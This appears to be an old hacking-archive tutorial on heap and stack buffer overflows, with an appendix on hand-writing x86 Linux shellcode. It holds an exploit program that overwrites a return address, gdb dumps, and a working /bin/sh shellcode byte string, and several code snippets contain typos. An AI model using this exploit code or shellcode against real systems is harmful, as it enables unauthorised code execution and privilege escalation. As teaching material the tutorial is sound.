home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / basicoverflows / buffer.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  31.3 KB  |  1,004 lines

  1. Introduction to Buffer Overflow by Ghost_Rider (Ghost_Rider9@hotmail.com)
  2.  
  3.  
  4. -----
  5. Intro
  6. -----
  7.  
  8. Hello, here I am again, this time I'll let you know  what is in fact
  9. buffer overflow and how you can detect if some program is vulnerable to buffer
  10. overflow exploits.  This tutorial has C source code, so if you don't know C
  11. you can have some problems in this tutorial, you also need to have some
  12. notions on ASM and how to use gdb.
  13. I tried to do the easiest I could, but still this tutorial isn't one
  14. of those where you really don't know shit about nothing and when you end it
  15. you know all this. This one takes some work to understand, hey it took huge
  16. work to write!
  17. A little inside note, like everyone that is reading this lines I like to
  18. learn, so some weeks ago I said to myself "Hey what the heck, why not to start
  19. reading some texts about buffer overflows, I know how everything work but
  20. just superficially", so I just started learning and now I'm trying to pass the
  21. knowledge that I gained, to everyone that is interested. So this won't be one
  22. of those texts where you'll learn everything, this will be like a walkthrough,
  23. like the title says an Introduction, (In the end I'll give you some nice texts).
  24. If you have any questions concerning this tutorial post in
  25.  our message board,
  26. if you find any "bug" in this tutorial please email me and
  27.  I'll correct it.
  28. Enjoy.
  29.  
  30.  
  31. Exploit?
  32. --------
  33.  
  34.   Well probably everyone knows what an exploit is. But you still got to see
  35. that the ones that are entering the security world for the first time
  36. probably don't have the idea of what that is, that's why I wrote this tinny
  37. section.
  38.   So for the ones that don't know an exploit is a program, usually written in
  39. C, that exploits some problem that another program have. The exploit will allow
  40. you to run arbitrary code that will let you do something that you shouldn't be
  41. able to do in your normal status on the system.
  42.   Nowadays, most of the exploits are what we call Buffer Overflow Exploits.
  43. What's that you ask. Wait because we'll get there. After all, this is the
  44. subject of this tutorial.
  45.   Another thing you should know is that everyone knows how to use them(how do
  46. you think that most of the websites that are defaced?), the script kiddies
  47. just go to sites like security focus, packetstorm or fyodor's exploit world,
  48. download it and run it, and then got busted. But why doesn't everybody write
  49. exploits? Well the problem is that many people doesn't know how to spot some
  50. vulnerability in the source code, or even if they can they aren't able to
  51. write a exploit. So now that you have an idea of what an exploit is, let's
  52. go ahead to the
  53.  buffer overflow section.
  54.  
  55.  
  56. Buffer Overflow after all what's that?
  57. -------------------------------------
  58.  
  59.   Like I said before most of the exploits are Buffer Overflow exploits.
  60.   You are probably now thinking "Bah..this guy is bullshiting around, but
  61. still didn't said what buffer overflow is". So let's just talk about it.
  62.   A buffer overflow problem is based in the memory where the program stores
  63. it's data. Why's that, you ask. Well because what buffer overflow do is
  64. overwrite expecific memory places where should be something you want, that
  65. will make the program do something that you want.
  66.   Well some of you right now are thinking "WOW, I know how buffer overflow
  67. works", but you still don't know how to spot them.
  68.  
  69.   Let's follow a program and try to find and fix the buffer overflow
  70.  
  71.  
  72. ------ Partial code below--------
  73.  
  74.    main(int argc, char **argv) {
  75.  
  76.       char *somevar;
  77.       char *important;
  78.  
  79.       somevar = (char *)malloc(sizeof(char)*4);
  80.       important = (char *)malloc(sizeof(char)*14);
  81.  
  82.       strcpy(important, "command");  /*This one is the important
  83.                                               variable*/
  84.       stcrpy(somevar, argv[1]);
  85.  
  86.  
  87.       ..... Code here ....
  88.  
  89.   }
  90.  
  91.  ....  Other functions here ....
  92.  
  93. ------- End Of Partial Code ------
  94.  
  95.  
  96.  So let's say that important variable stores some system command like, let's
  97. say "chmod o-r file", and since that file is owned by root the program is run
  98. under root user too, this means that if you can send commands to it, you can
  99. execute ANY system command. So you start thinking. How the hell can I put
  100. something that I want in the important variable. Well the way is to overflow
  101. the memory so we can reach it. But let's see variables memory addresses.
  102. To do that you need to re-written the code. Check the following code.
  103.  
  104.  
  105. --------- Partial Code ------------
  106.  
  107. main (int argc, char **argv) {
  108.  
  109.  
  110.    char *somevar;
  111.    char *important;
  112.  
  113.    somevar=(char *)malloc(sizeof(char)*4);
  114.    important=(char *)malloc(sizeof(char)*14);
  115.  
  116.    printf("%p\n%p", somevar, important);
  117.    exit(0);
  118.  
  119.    rest of code here
  120.  
  121. }
  122.  
  123. --------- End of Partial Code --------
  124.  
  125.  Well we added 2 lines in the source code and left the rest unchanged. Let's
  126. see what does two lines do.
  127.  The printf("%p\n%p", somevar, important); line will print the memory
  128. addresses for somevar and important variables. The exit(0); will just keep the
  129. rest of the program running after all you don't want it for nothing, your goal
  130. was to know where is the variables are stored.
  131.   After running the program you would get an output like, you will probably
  132. not get the same memory addresses:
  133.  
  134.         0x8049700      <----- This is the address of somevar
  135.         0x8049710       <----- This is the address of important
  136.  
  137.  As we can see, the important variable is next somevar, this will let us use
  138. our buffer overflow skills, since somevar is got from argv[1]. Now, we know
  139. that one follow the other, but let's check each memory address so we can have
  140. the precise notion of the data storage. To do this let's re-write the code
  141. again.
  142.  
  143. -------- Partial code ---------
  144.  
  145. main(int argc, char **argv) {
  146.  
  147.    char *somevar;
  148.    char *important;
  149.    char *temp; /* will need another variable */
  150.  
  151.  
  152.    somevar=(char *)malloc(sizeof(char)*4);
  153.    important=(char *)malloc(sizeof(char)*14);
  154.  
  155.    strcpy(important, "command");  /*This one is the important
  156.                                               variable*/
  157.    stcrpy(str, argv[1]);
  158.  
  159.  
  160.  
  161.    printf("%p\n%p\n", somevar, important);
  162.    printf("Starting To Print memory address:\n");
  163.  
  164.    temp = somevar; /* this will put temp at the first memory address we want
  165. */
  166.       while(temp < important + 14) {
  167.  
  168.       /* this loop will be broken when we get to the last memory address we
  169.          want, last memory address of important variable */
  170.  
  171.          printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
  172.          temp++;
  173.  
  174.       }
  175.  
  176.      exit(0);
  177.  
  178.      rest of code here
  179. }
  180. ------ End Of partial Code ------
  181.  
  182. Now let's say that the argv[1] should be in normal use send. So you just type
  183. in your prompt:
  184.  
  185. $ program_name send
  186.  
  187. You'll get an output like:
  188.  
  189. 0x8049700
  190. 0x8049710
  191. Starting To Print memory address:
  192. 0x8049700: s (0x616c62)
  193. 0x8049701: e (0x616c)
  194. 0x8049702: n (0x61)    <---- each of this lines represent a memory address
  195. 0x8049703: d (0x0)
  196. 0x8049704:  (0x0)
  197. 0x8049705:  (0x0)
  198. 0x8049706:  (0x0)
  199. 0x8049707:  (0x0)
  200. 0x8049708:  (0x0)
  201. 0x8049709:  (0x19000000)
  202. 0x804970a:  (0x190000)
  203. 0x804970b:  (0x1900)
  204. 0x804970c:  (0x19)
  205. 0x804970d:  (0x63000000)
  206. 0x804970e:  (0x6f630000)
  207. 0x804970f:  (0x6d6f6300)
  208. 0x8049710: c (0x6d6d6f63)
  209. 0x8049711: o (0x616d6d6f)
  210. 0x8049712: m (0x6e616d6d)
  211. 0x8049713: m (0x646e616d)
  212. 0x8049714: a (0x646e61)
  213. 0x8049715: n (0x646e)
  214. 0x8049716: d (0x64)
  215. 0x8049717:  (0x0)
  216. 0x8049718:  (0x0)
  217. 0x8049719:  (0x0)
  218. 0x804971a:  (0x0)
  219. 0x804971b:  (0x0)
  220. 0x804971c:  (0x0)
  221. 0x804971d:  (0x0)
  222. $
  223.  
  224. Nice isn't it? You can now see that there exist 12 memory address empty
  225. between somevar and important. So let's say that you run the program with a
  226. command line like:
  227.  
  228. $ program_name send------------newcommand
  229.  
  230. You'll get an output like:
  231.  
  232. 0x8049700
  233. 0x8049710
  234. Starting To Print memory address:
  235. 0x8049700: s (0x646e6573)
  236. 0x8049701: e (0x2d646e65)
  237. 0x8049702: n (0x2d2d646e)
  238. 0x8049703: d (0x2d2d2d64)
  239. 0x8049704: - (0x2d2d2d2d)
  240. 0x8049705: - (0x2d2d2d2d)
  241. 0x8049706: - (0x2d2d2d2d)
  242. 0x8049707: - (0x2d2d2d2d)
  243. 0x8049708: - (0x2d2d2d2d)
  244. 0x8049709: - (0x2d2d2d2d)
  245. 0x804970a: - (0x2d2d2d2d)
  246. 0x804970b: - (0x2d2d2d2d)
  247. 0x804970c: - (0x2d2d2d2d)
  248. 0x804970d: - (0x6e2d2d2d)
  249. 0x804970e: - (0x656e2d2d)
  250. 0x804970f: - (0x77656e2d)
  251. 0x8049710: n (0x6377656e) <--- memory address where important variable starts
  252. 0x8049711: e (0x6f637765)
  253. 0x8049712: w (0x6d6f6377)
  254. 0x8049713: c (0x6d6d6f63)
  255. 0x8049714: o (0x616d6d6f)
  256. 0x8049715: m (0x6e616d6d)
  257. 0x8049716: m (0x646e616d)
  258. 0x8049717: a (0x646e61)
  259. 0x8049718: n (0x646e)
  260. 0x8049719: d (0x64)
  261. 0x804971a:  (0x0)
  262. 0x804971b:  (0x0)
  263. 0x804971c:  (0x0)
  264. 0x804971d:  (0x0)
  265.  
  266.  Hey cool, newcommand got over command. Now it does something you want,
  267. instead of something he was supposed to do.
  268.  
  269. NOTE: Remember sometimes those spaces between somevar and
  270. important can have other variables instead of being empty, so check their
  271. values and send them to the same address, or the program can crash before
  272. getting to the variable that you modified.
  273.  
  274.  
  275.  Now let's think a little. Why does this happen? As you can see in the source
  276. code somevar is declared before important, this will make, most of the times,
  277. that somevar will be first in memory. Now, let's check how each one is got.
  278. Somevar gets it's value from argv[1], and important gets it from strcpy()
  279. function, but the real problem is that important value is assign first so when
  280. you assign value to somevar that is before it important can be overwritten.
  281. This program could be patched against this buffer overflow switching those two
  282. lines, becoming :
  283.  
  284. strcpy(somevar, argv[1]);
  285. strcpy(important, "command");
  286.  
  287.  If this was the way that the program was done even if you give an argument
  288. that would get into the memory address of important, it will be overwritten by
  289. the true command, since after getting somevar, is assign the value command to
  290. important.
  291.  
  292.  This kind of buffer overflow, is a heap buffer overflow. Like you probably
  293. has seen they are really easy to do in theory but, in the real world, it's not
  294. really easy to do them, after all the example I gave was a really dumb
  295. program right? It's a real pain in the ass to find those important
  296. variables, and also to overflow that variable you need to be able to write to
  297. one that is in a lower memory address, most of times all this conditions
  298. doesn't get together, that's why we are now gonna talk about stack buffer
  299. overflows.
  300.  
  301.  
  302. Just a little inside note:
  303. --------------------------
  304.  In the last paragraph I talked about heap and stack. You probably be
  305. wondering what each one is. So here's a brief and easy of understanding
  306. definition of each one:
  307.  
  308. heap - is the space that you reserve for a variable (you access heap when you
  309. use malloc() function).
  310.  
  311. stack - it's the place where is pushed or returned values from a function.
  312.  When you are trying to overflow the stack you'll try to change the return
  313. address, making the code to jump some place in memory where you have put
  314. commands that you want to execute.
  315.  
  316.  
  317. So let's get into the stack stuff. Here starts the part that most problems
  318. gave me and still give. Here we will need to know ASM, know how to handle with
  319. gdb (believe me it will start being one of your best friends), still don't
  320. give up.
  321.  
  322. We will talk in Smashing the Stack which consists in a kind of "attack" that
  323. will change the return address(RET). Doing this you can return the function
  324. to an address where you already had allocate some commands that you want to be
  325. executed.
  326. Like in the heap overflow, let's see some source code.
  327.  
  328.  
  329. ------ Code starts here ------
  330.  
  331. /* Stack Overflow example */
  332.  
  333. exploit(char *this) {
  334.  char string[20];
  335.  strcpy(string,this);
  336.  printf("%s\n", string);
  337. }
  338. main(int argc, char *argv[]) {
  339.  exploit(argv[1]);
  340. }
  341.  
  342. ------ Code ends here -----
  343.  
  344. Now we will try to call two times the exploit() functions. How we will do this?
  345. Well first we need to find some nice addresses. This time let's use gdb. First
  346. we compile.
  347.  
  348. $ gcc stack.c -o stack
  349. $ gdb stack
  350.  
  351. GNU gdb 4.18
  352. Copyright 1998 Free Software Foundation, Inc.
  353. GDB is free software, covered by the GNU General Public License, and you are
  354. welcome to change it and/or distribute copies of it under certain conditions.
  355. Type "show copying" to see the conditions.
  356. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  357. This GDB was configured as "i586-suse-linux-gnu"...
  358. (gdb)
  359.  
  360.  This is your prompt now we will disassemble main. To do this we just need
  361.  to type disassemble (you can also type disas) main hard isn't it?
  362.  
  363. (gdb) disas main
  364.  Dump of assembler code for function main:
  365.  0x8048440 <main>:       push   %ebp
  366.  0x8048441 <main+1>:     mov    %esp,%ebp
  367.  0x8048443 <main+3>:     mov    0xc(%ebp),%eax
  368.  0x8048446 <main+6>:     add    $0x4,%eax
  369.  0x8048449 <main+9>:     mov    (%eax),%edx
  370.  0x804844b <main+11>:    push   %edx
  371.  0x804844c <main+12>:    call   0x8048410 <exploit>
  372.  0x8048451 <main+17>:    add    $0x4,%esp
  373.  0x8048454 <main+20>:    mov    %ebp,%esp
  374.  0x8048456 <main+22>:    pop    %ebp
  375.  0x8048457 <main+23>:    ret
  376.  (Some NOPS here. They stand for No Operation...meaning nothing is done).
  377.  End of assembler dump.
  378.  
  379.  Some thinking
  380.  -------------
  381.  As we can see exploit is called at 0x804845c and itself has 0x8048410 as his
  382. address.
  383.  
  384.  Back to gdb
  385.  -----------
  386.  
  387.  (gdb) disas exploit
  388.  
  389.  End of assembler dump.
  390.  (gdb)
  391.   0x8048410 <exploit>:    push   %ebp
  392.   0x8048411 <exploit+1>:  mov    %esp,%ebp
  393.   0x8048413 <exploit+3>:  sub    $0x14,%esp
  394.   0x8048416 <exploit+6>:  mov    0x8(%ebp),%eax
  395.   0x8048419 <exploit+9>:  push   %eax
  396.   0x804841a <exploit+10>: lea    0xffffffec(%ebp),%eax
  397.   0x804841d <exploit+13>: push   %eax
  398.   0x804841e <exploit+14>: call   0x8048340 <strcpy>
  399.   0x8048423 <exploit+19>: add    $0x8,%esp
  400.   0x8048426 <exploit+22>: lea    0xffffffec(%ebp),%eax
  401.   0x8048429 <exploit+25>: push   %eax
  402.   0x804842a <exploit+26>: push   $0x80484bc
  403.   0x804842f <exploit+31>: call   0x8048330 <printf>
  404.   0x8048434 <exploit+36>: add    $0x8,%esp
  405.   0x8048437 <exploit+39>: mov    %ebp,%esp
  406.   0x8048439 <exploit+41>: pop    %ebp
  407.   0x804843a <exploit+42>: ret
  408.  (gdb) x/3bc 0x80484bc
  409.   0x80484bc <_IO_stdin_used+4>:   37 '%'  115 's' 10 '\n'
  410.  (gdb)
  411.  (gdb) quit
  412.  $
  413.  back to the prompt
  414.  
  415.  Another stage of little thinking
  416.  --------------------------------
  417.  
  418.  First you are probably wondering what's x/3bc command is. Well this is the
  419. command that let us examine memory.
  420.  
  421.      x/3bc
  422.        ^^^
  423.        |||--- chars
  424.        || --- Binary
  425.        |----- define 3 as range
  426.  
  427. (For more info type in gdb prompt help x/)
  428.  
  429. I did it because I was wondering what was being pushed into the stack at
  430. 0x80484cc , and as you can see is the string we want to print.
  431.  
  432.  
  433.  
  434.  Our Goal
  435.  --------
  436.  
  437.  Our goal will now be trying to make exploit return to exploit again instead of
  438. returning to main. So how will we do this, and how will we know if we can do I
  439. t? Well first signal we have that we probably can do something to exploit the c
  440. ode is the segmentation fault we get when we give a huge string, well not that
  441. huge probably aaaaaaaaaaaaaaaaaaaa would do :) check for yourself (hint try
  442. 20).
  443.  So to do that we need to change RET (return address) your now thinking in a
  444. line that you saw in gdb:
  445.  
  446.       0x804844c <main+3>:  call  0x8048410 <exploit>
  447.  
  448.  Now the question. In this important line we have 2 address which one to use?
  449. Well it's easy you need to use 0x804844c because it's the one that mentions a
  450. call to exploit, if you used the 0x8048410 we wouldn't get nothing since we
  451. were pointing to
  452.  
  453.      0x8048410 <exploit>:    push   %ebp
  454.  
  455.  
  456.  ------ Code Starts Here -----
  457.  
  458. /* Exploit for stack program */
  459.  
  460. #include <stdio.h>
  461.  
  462. main() {
  463.  
  464. char buf[28];
  465. int i;
  466.  
  467. for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
  468. *(long *)&buf[24] = 0x0804844c;
  469. *(long *)&buf[28] = 0x0;
  470. execv("./stack2", buf);
  471. }
  472.  
  473. ------- Code ends Here --------
  474.  
  475.  
  476. Doing this we will re-write the Return address for 0x0804844c returning the
  477. functions to the call exploit again. This will put us in a endless loop.
  478. Why we could exploit this program? Well because there was no checking in the
  479. length of the string we were sending. So here's an advice if you code something
  480. that needs to be secure, always use functions that do length checking, like
  481. fgets(), strncpy() instead of gets(), strcpy(), and so on.
  482.  
  483. gdb tip
  484. -------
  485.  
  486. Wanna see how an exploit affects the vunerable program. Enter in gdb and type.
  487. (gdb) exec exploit
  488. (gdb) symbol-file vunerable_program
  489.  
  490.  Then you can see what the exploit does, and correct the problems if you are
  491. having any.
  492.  
  493.  
  494. Final Suggestions
  495. -----------------
  496.  
  497. Well we reached the final. Hope this was some help for you... I have in my mind
  498. some "upgrades" in this tutorial, since it hasn't everything I wanted to say.
  499. But I think it's better to check everything I want to say, instead of saying
  500. something that I'm not 100% sure.
  501. If you find something in this tutorial that don't match, or that you disagree I
  502. would appreciate to report it to me, sending an email to
  503. Ghost_Rider9@hotmail.com.
  504.  
  505.  
  506. Reading Suggestions
  507. -------------------
  508.  
  509. - Omega Project by Lamagra
  510. - Advanced buffer overflow exploit by Taeho Oh
  511. - Smashing The Stack For Fun And Profit by Aleph One
  512.  
  513. This 3 texts will give you a huge amount of info that you can need.
  514. They helped me... They can be found in packetstorm
  515.  
  516.  
  517. ----------------------
  518. Appendix A: Shell Code
  519. ----------------------
  520.  
  521. This appendix was written for a friend, Predator, which i gratefully thank for
  522. his efforts. Original text is below.
  523.  
  524. Regards 
  525. mailto:predator@beotel.yu 
  526. ICQ#:            46043882 
  527.  
  528. I wrote this as part of Ghost Rider buffer overflow tutorial which 
  529. you can download at http://blacksun.box.sk 
  530. Author:     predator 
  531. mailto:     preedator@hotmail.com 
  532. date  :     26/07/2000 
  533.  
  534.                                 Shell code 
  535.  
  536. Now I will talk about shell code.Shell code is a char array which consist in 
  537. machine instruction which are used to spawn shell.Since the program we try
  538. exploit doesn't have code which will execute shell,we must write it.  For
  539. this, you must know a little of assembly,C and x86 structure, Linux is
  540. also required. But only C and assembly are really needed. Well lets start
  541. with it.   
  542.  
  543. 1. Shell code 
  544. -------------
  545.  
  546. Usually shell code is written in program as -> 
  547.  1) char c0de[]={0x90,0x90...}; 
  548.  2) char c0de[]="\x90\x90..."; 
  549. Both are correct so you can use both.:)). 
  550.   
  551.  
  552. 2. Starting with shell c0de... 
  553. ------------------------------  
  554.  
  555.  
  556. ------- shell.cpp Code Starts Here ---------- 
  557. void main(){ 
  558.  char *sh[2]; 
  559.  sh[0]="/bin/sh"; 
  560.  sh[1]=NULL; 
  561.  execve(sh[0],sh,NULL); 
  562. ------- shell.cpp Code Ends Here ----------
  563.  
  564. This program is used to run shell.Why execve if there is a lot of exec 
  565. function.The answer is simple execve is only exec function that is call 
  566. with int $0x80 and which is very important to us. 
  567.  
  568. well lets compile this with -static option and run it in gdb. 
  569. root@scorpion#cc shell.cpp -o shell -static 
  570. root@scorpion#gdb shell 
  571. GNU gdb 4.18 
  572. Copyright 1998 Free Software Foundation, Inc. 
  573. GDB is free software, covered by the GNU General Public License, and you are 
  574. welcome to change it and/or distribute copies of it under certain conditions. 
  575. Type "show copying" to see the conditions. 
  576. There is absolutely no warranty for GDB.  Type "show warranty" for details. 
  577. This GDB was configured as "i686-pc-linux-gnu"... 
  578. (gdb) disass main 
  579. Dump of assembler code for function main: 
  580. 0x80481c0 <main>:       push   %ebp 
  581. 0x80481c1 <main+1>:     mov    %esp,%ebp 
  582. 0x80481c3 <main+3>:     sub    $0x8,%esp 
  583. 0x80481c6 <main+6>:     movl   $0x8073768,0xfffffff8(%ebp) 
  584. 0x80481cd <main+13>:    movl   $0x0,0xfffffffc(%ebp) 
  585. 0x80481d4 <main+20>:    push   $0x0 
  586. 0x80481d6 <main+22>:    lea    0xfffffff8(%ebp),%eax 
  587. 0x80481d9 <main+25>:    push   %eax 
  588. 0x80481da <main+26>:    mov    0xfffffff8(%ebp),%eax 
  589. 0x80481dd <main+29>:    push   %eax 
  590. 0x80481de <main+30>:    call   0x804ea70 <__execve> 
  591. 0x80481e3 <main+35>:    add    $0xc,%esp 
  592. 0x80481e6 <main+38>:    xor    %eax,%eax 
  593. 0x80481e8 <main+40>:    jmp    0x80481f0 <main+48> 
  594. 0x80481ea <main+42>:    lea    0x0(%esi),%esi 
  595. 0x80481f0 <main+48>:    mov    %ebp,%esp 
  596. 0x80481f2 <main+50>:    pop    %ebp 
  597. 0x80481f3 <main+51>:    ret 
  598. 0x80481f4 <main+52>:    nop 
  599. 0x80481f5 <main+53>:    nop 
  600. 0x80481f6 <main+54>:    nop 
  601. 0x80481f7 <main+55>:    nop 
  602. 0x80481f8 <main+56>:    nop 
  603. 0x80481f9 <main+57>:    nop 
  604. 0x80481fa <main+58>:    nop 
  605. 0x80481fb <main+59>:    nop 
  606. 0x80481fc <main+60>:    nop 
  607. 0x80481fd <main+61>:    nop 
  608. 0x80481fe <main+62>:    nop 
  609. 0x80481ff <main+63>:    nop 
  610. End of assembler dump. 
  611. (gdb) disass execve 
  612. Dump of assembler code for function __execve: 
  613. 0x804ea70 <__execve>:   push   %ebx 
  614. 0x804ea71 <__execve+1>: mov    0x10(%esp,1),%edx 
  615. 0x804ea75 <__execve+5>: mov    0xc(%esp,1),%ecx 
  616. 0x804ea79 <__execve+9>: mov    0x8(%esp,1),%ebx 
  617. 0x804ea7d <__execve+13>:        mov    $0xb,%eax 
  618. 0x804ea82 <__execve+18>:        int    $0x80 
  619. 0x804ea84 <__execve+20>:        pop    %ebx 
  620. 0x804ea85 <__execve+21>:        cmp    $0xfffff001,%eax 
  621. 0x804ea8a <__execve+26>:        jae    0x804ee40 <__syscall_error> 
  622. 0x804ea90 <__execve+32>:        ret 
  623. End of assembler dump. 
  624. (gdb) quit 
  625.  
  626. Well lets look in main:)All function start from there 
  627.  
  628. main -> push %ebp 
  629. main+1 ->movl %esp,%ebp 
  630. This is standard procedure in all function. First save %ebp and then move 
  631. %esp to %ebp making %ebp the new frame pointer. 
  632.  
  633. main+3 -> sub $0x8,%esp 
  634. sub %esp with 0x8 because 2 char pointer are 8 bytes long 2*4=8:)) 
  635.  
  636. main+6 -> movl 0x8073768,0xfffffff8(%ebp) 
  637. same as sh[0]="/bin/sh"; 
  638.  
  639. main+13 -> movl $0x0,0xfffffffc(%ebp) 
  640. same as sh[1]=NULL; 
  641.  
  642. main+20 -> pushl $0x0  
  643. the call of execve starts here,we are pushing arguments of function in reverse 
  644. order on stack(x86 structure works upside-down). 
  645.  
  646. main+22 -> lea 0xfffffff8(%ebp),%eax 
  647. lea is load efective address,we load address of sh into the array of pointers 
  648.  
  649. main+25 -> pushl %eax  
  650. we push address on stack,2nd argument(sh) 
  651.  
  652. main+26 -> movl 0xfffffff8(%ebp),%eax ...  
  653. we have address of /bin/sh in 0xfffffff8(%ebp) look at main+6 and then push 
  654. it on stack as sh[0] 
  655.  
  656. Now lets take a look in execve function 
  657.  
  658. __execve+1 mov 0x10(%esp,1),%edx 
  659. We must have address of 3rd argument in %edx(NULL was 3rd argument) 
  660.  
  661. __execve+5 mov 0xc(%esp,1),%ecx 
  662. We must have address of sh in %ecx(sh was 2nd argument) 
  663.  
  664. __execve+9 mov 0x8(%esp,1),%ebx 
  665. We must have address of "/bin/sh" in %ebx(sh[0] 1st argument) 
  666.  
  667. __execve+13 mov $0xb,%eax 
  668. 0xb is system call for execve 
  669.  
  670. __execve+18 int $0x80 
  671. switching to kernel mode 
  672.  
  673. Things to do-> 
  674. We must have address of NULL in %edx 
  675. We must have address of sh in %ecx 
  676. We must have address of "/bin/sh" in %ebx 
  677. We must have 0xb in %eax 
  678. We must call int $0x80 
  679.  
  680. Well we need the exact address in memory of our "/bin/sh" string. 
  681. We can simple put "/bin/sh" after call which will push EIP on stack,and 
  682. pushed EIP should be address of our string...Look at pic 0.1 
  683.  
  684. [JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss] 
  685.   |^_______________________^| 
  686.    |________________________| 
  687. on beginning of code we will put JMP instruction which will jmp to call,and 
  688. call will save EIP and go to offset of a.EIP will be our "/bin/sh" address 
  689. a-stands for code 
  690. J-stands for JMP 
  691. C-stands for CALL 
  692. s-stands for "/bin/sh" 
  693.  
  694. well lets write this to asm-> 
  695.  
  696.  
  697. ------------ shell1.cpp Code Starts Here ---------------- 
  698. void main(){ 
  699. __asm__("jmp 0x1e \n"      //jmp to call 
  700.  "popl %esi \n"    //get seved EIP to esi,now we have /bin/sh address 
  701.  "movl %esi,0x8(%esi) \n"  //address of sh behind /bin/sh 
  702.  "movl $0x0,0xc(%esi) \n"  //NULL as 3rd argument goes after sh address 
  703.  "movb $0x0,0x7(%esi) \n"  //terminate /bin/sh with '\0' 
  704.  "movl %esi,%ebx \n"       //address of sh[0] in %ebx 
  705.  "leal %0x8(%esi),%ecx \n" //address of sh in %ecx(2nd argument) 
  706.  "leal %0xc(%esi),%edx \n" //address of NULL in %edx(3rd argument) 
  707.  "movl $0xb,%eax \n"       //sys call of execve in %eax 
  708.  " int $0x80 \n"           //kernel mode 
  709.  " call -0x23 \n"          //call popl %esi 
  710.  " .string \"/bin/sh\" \n"); //our string 
  711. ------------ shell1.cpp Code Ends Here ---------------- 
  712.  
  713. Lets compile this 
  714. root@scorpion#cc shel1.cpp -o shell1 
  715. root@scorpion#gdb shell1 
  716. GNU gdb 4.18 
  717. Copyright 1998 Free Software Foundation, Inc. 
  718. GDB is free software, covered by the GNU General Public License, and you are 
  719. welcome to change it and/or distribute copies of it under certain conditions. 
  720. Type "show copying" to see the conditions. 
  721. There is absolutely no warranty for GDB.  Type "show warranty" for details. 
  722. This GDB was configured as "i686-pc-linux-gnu"... 
  723. (gdb) x/bx main+3       <-------jmp start here 
  724. 0x8048733 <main+3>:     0xeb 
  725. (gdb) 
  726. 0x8048734 <main+4>:     0x1e 
  727. (gdb) 
  728. 0x8048735 <main+5>:     0x5e 
  729. (gdb) 
  730. 0x8048736 <main+6>:     0x89 
  731. (gdb) 
  732. 0x8048737 <main+7>:     0x76 
  733. (gdb) 
  734. 0x8048738 <main+8>:     0x08 
  735. (gdb) 
  736. 0x8048739 <main+9>:     0xc6 
  737. (gdb) 
  738. 0x804873a <main+10>:    0x46 
  739. (gdb) 
  740. 0x804873b <main+11>:    0x07 
  741. (gdb) 
  742. 0x804873c <main+12>:    0x00 
  743. (gdb) 
  744. 0x804873d <main+13>:    0xc7 
  745. (gdb) 
  746. 0x804873e <main+14>:    0x46 
  747. (gdb) 
  748. 0x804873f <main+15>:    0x0c 
  749. (gdb) 
  750. 0x8048740 <main+16>:    0x00 
  751. (gdb) 
  752. 0x8048741 <main+17>:    0x00 
  753. (gdb) 
  754. 0x8048742 <main+18>:    0x00 
  755. (gdb) 
  756. 0x8048743 <main+19>:    0x00 
  757. (gdb) 
  758. 0x8048744 <main+20>:    0x89 
  759. (gdb) 
  760. 0x8048745 <main+21>:    0xf3 
  761. (gdb) 
  762. 0x8048746 <main+22>:    0x8d 
  763. (gdb) 
  764. 0x8048747 <main+23>:    0x4e 
  765. (gdb) 
  766. 0x8048748 <main+24>:    0x08 
  767. (gdb) 
  768. 0x8048749 <main+25>:    0x8d 
  769. (gdb) 
  770. 0x804874a <main+26>:    0x56 
  771. (gdb) 
  772. 0x804874b <main+27>:    0x0c 
  773. (gdb) 
  774. 0x804874c <main+28>:    0xb8 
  775. (gdb) 
  776. 0x804874d <main+29>:    0x0b 
  777. (gdb) 
  778. 0x804874e <main+30>:    0x00 
  779. (gdb) 
  780. 0x804874f <main+31>:    0x00 
  781. (gdb) 
  782. 0x8048750 <main+32>:    0x00 
  783. (gdb) 
  784. 0x8048751 <main+33>:    0xcd 
  785. (gdb) 
  786. 0x8048752 <main+34>:    0x80 
  787. (gdb) 
  788. 0x8048753 <main+35>:    0xe8 
  789. (gdb) 
  790. 0x8048754 <main+36>:    0xdd 
  791. (gdb) 
  792. 0x8048755 <main+37>:    0xff 
  793. (gdb) 
  794. 0x8048756 <main+38>:    0xff 
  795. (gdb) 
  796. 0x8048757 <main+39>:    0xff 
  797. (gdb) 
  798. 0x8048758 <main+40>:    0x2f 
  799. (gdb) 
  800. 0x8048759 <main+41>:    0x62 
  801. (gdb) 
  802. 0x804875a <main+42>:    0x69 
  803. (gdb) 
  804. 0x804875b <main+43>:    0x6e 
  805. (gdb) 
  806. 0x804875c <main+44>:    0x2f 
  807. (gdb) 
  808. 0x804875d <main+45>:    0x73 
  809. (gdb) 
  810. 0x804875e <main+46>:    0x68  <--------- c0de ends here 
  811. (gdb)quit 
  812.  
  813. lets write our shell code-> 
  814.  
  815. --------------- shell2.cpp Code Starts Here ------------------ 
  816. char c0de[]= 
  817. "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00" 
  818. "\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00" 
  819. "\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 
  820.  
  821. int main(){ 
  822.  char buf[5]; 
  823.  long *ret=(long *)(buf+12); 
  824.  *ret=(long)c0de; 
  825. --------------- shell2.cpp Code Ends Here ------------------ 
  826. root@scorpion#cc shell2.cpp -o shell2 
  827. root@scorpion#./shell2 
  828. sh-2.03 
  829.  
  830. This works... 
  831. "\x2f\x62\x69\x6e\x2f\x73\x68" is same that if you wrote "/bin/sh" 
  832. (this is at end of code) 
  833. Take a look at this shell code...There is \x00 or '\0' at some places. 
  834. As we know '\0' is end of string. 
  835. So strcpy or other string function will copy it while they find '\0' 
  836. and our shell code wouldn't be copied all. 
  837. Lets get rid of this '\0' 
  838.  
  839. change this              for this 
  840. ----------------------------------------------------- 
  841.                          xorl %eax,%eax (this we will add) 
  842. movb $0x0,0x7(%esi)      movb %al,0x7(%esi) 
  843. movl $0x0,0xc(%esi)      movl %eax,0xc(%esi) 
  844. movl $0xb,$eax           movb %0xb,%al 
  845. ----------------------------------------------------- 
  846.  
